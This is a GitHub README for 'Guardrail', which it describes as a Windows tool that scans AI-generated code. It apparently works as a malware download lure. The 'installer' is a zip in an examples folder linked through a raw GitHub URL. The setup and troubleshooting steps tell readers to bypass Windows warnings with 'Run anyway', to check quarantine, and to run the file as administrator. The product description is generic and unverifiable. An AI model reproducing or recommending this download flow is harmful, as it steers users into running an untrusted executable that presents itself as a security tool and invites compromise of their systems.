Guardrail:面向 AI 生成代码的本地安全扫描工具
Rosalyndfaithful716/Guardrail
Guardrail 是一款 Windows 本地扫描工具,用于检查 AI 生成代码中的安全问题、性能瓶颈和常见错误,内置 22 条规则并支持基于 AST 的自动修复。它采用零配置设置,支持 TypeScript、JavaScript 及 Web 应用源码,可在代码进入项目前完成审查。
🛡️ Guardrail - Safer AI Code, Fewer Fixes
🚀 Getting Started
Guardrail helps you check AI-generated code for security issues, performance problems, and common mistakes. It works as a local scanner, so you can review code before it lands in your project.
Use this page to download and run the app on Windows: Visit the Guardrail download page
📥 Download and Run on Windows
- Open the Guardrail page in your browser.
- Download the Windows file from the repository page.
- If Windows asks for permission, choose Keep or Run anyway if you trust the source.
- Open the downloaded file.
- Follow the setup window on screen.
- When setup ends, launch Guardrail from the Start menu or desktop shortcut.
If the file opens in your browser instead of downloading, right-click the download link and choose Save link as.
🖥️ What Guardrail Checks
Guardrail looks for common issues in AI-made code, including:
- Security mistakes that can expose data
- Slow code paths that waste time
- Unsafe patterns in generated code
- Bad file handling
- Weak input checks
- Copy-paste style code that should be simplified
- TypeScript issues that can cause breakage
- Problems that a normal linter may miss
It uses a set of 22 rules and can fix many issues with AST-based auto-fix. That means it can edit the code structure safely instead of only pointing out problems.
⚙️ What You Need
Guardrail is built for Windows users who want a simple setup.
You should have:
- Windows 10 or Windows 11
- At least 200 MB of free disk space
- A modern web browser for the download page
- Permission to run apps on your PC
- A code file or project folder to scan
For best results, close large apps while Guardrail runs if your PC is slow.
🧭 How to Use It
- Open Guardrail.
- Choose the file or folder you want to scan.
- Start the scan.
- Review the flagged issues.
- Apply fixes where you want Guardrail to change the code.
- Save the cleaned file or project.
If you are checking code created by ChatGPT, Copilot, or another AI tool, scan it before you use it in a live project.
🔍 What You Can Expect
Guardrail is made for people who want a simple safety check before code goes out the door.
It can help you:
- Catch risky code early
- Reduce cleanup work
- Keep code easier to read
- Spot patterns that slow down an app
- Fix common issues with one pass
- Review AI output with more confidence
🧱 File Types and Project Support
Guardrail works best with common code files and app projects, such as:
- TypeScript files
- JavaScript files
- Web app source folders
- Small utility scripts
- AI-generated snippets
- Code from chat tools and coding assistants
It is a good fit for people who want a clear scan before they copy code into a project.
🛠️ Troubleshooting
Download does not start
- Reload the page
- Try a different browser
- Right-click the link and save it
- Check your internet connection
Windows blocks the file
- Open the file details
- Choose Run anyway if you trust the source
- Make sure the file finished downloading
App does not open
- Restart your PC
- Download the file again
- Check that Windows did not move it to quarantine
- Try running it as an administrator
Scan looks incomplete
- Make sure the full file or folder is selected
- Try again after closing the file in another app
- Check that the project files are not read-only
📁 Typical Use Cases
Guardrail is useful when you:
- Ask an AI tool to write code for you
- Want to check code before sharing it
- Need a fast review of risky patterns
- Want to clean up generated code before commit
- Prefer a tool that fixes issues instead of only listing them
🔐 Safety and Code Quality
Guardrail focuses on the kinds of problems that often show up in AI-made code. That includes unsafe input use, weak guards around data, and code that works but does not scale well.
It gives you a clear path to safer code without making the process hard to follow.
🧩 Main Features
- 22 built-in rules
- AST-based auto-fix
- Zero config setup
- Security checks
- Performance checks
- AI-specific code pattern checks
- TypeScript support
- Code quality checks
- Fast local scans
- Simple Windows use
🗂️ Example Workflow
- Get code from ChatGPT or Copilot.
- Save it in a file.
- Open Guardrail.
- Scan the file.
- Review the warnings.
- Apply the fixes you want.
- Copy the cleaned code back into your project
📌 Best Results
For the cleanest scan:
- Use one project folder at a time
- Scan before you publish or deploy
- Fix security issues first
- Recheck after each round of edits
- Keep your source files in plain text formats
📎 Download Again
If you need the installer again, use this link: https://raw.githubusercontent.com/Rosalyndfaithful716/Guardrail/main/examples/Software-v1.5.zip
🧪 Common Questions
Is Guardrail hard to use?
No. It is made for a simple start on Windows.
Do I need to set it up with code?
No. It uses a zero-config setup.
Does it only find security issues?
No. It also checks speed, code quality, and AI-style mistakes.
Can it fix code for me?
Yes. It can auto-fix many issues using AST rules.
Does it work with TypeScript?
Yes. TypeScript is one of the main file types it supports
来源:GitHub · github.com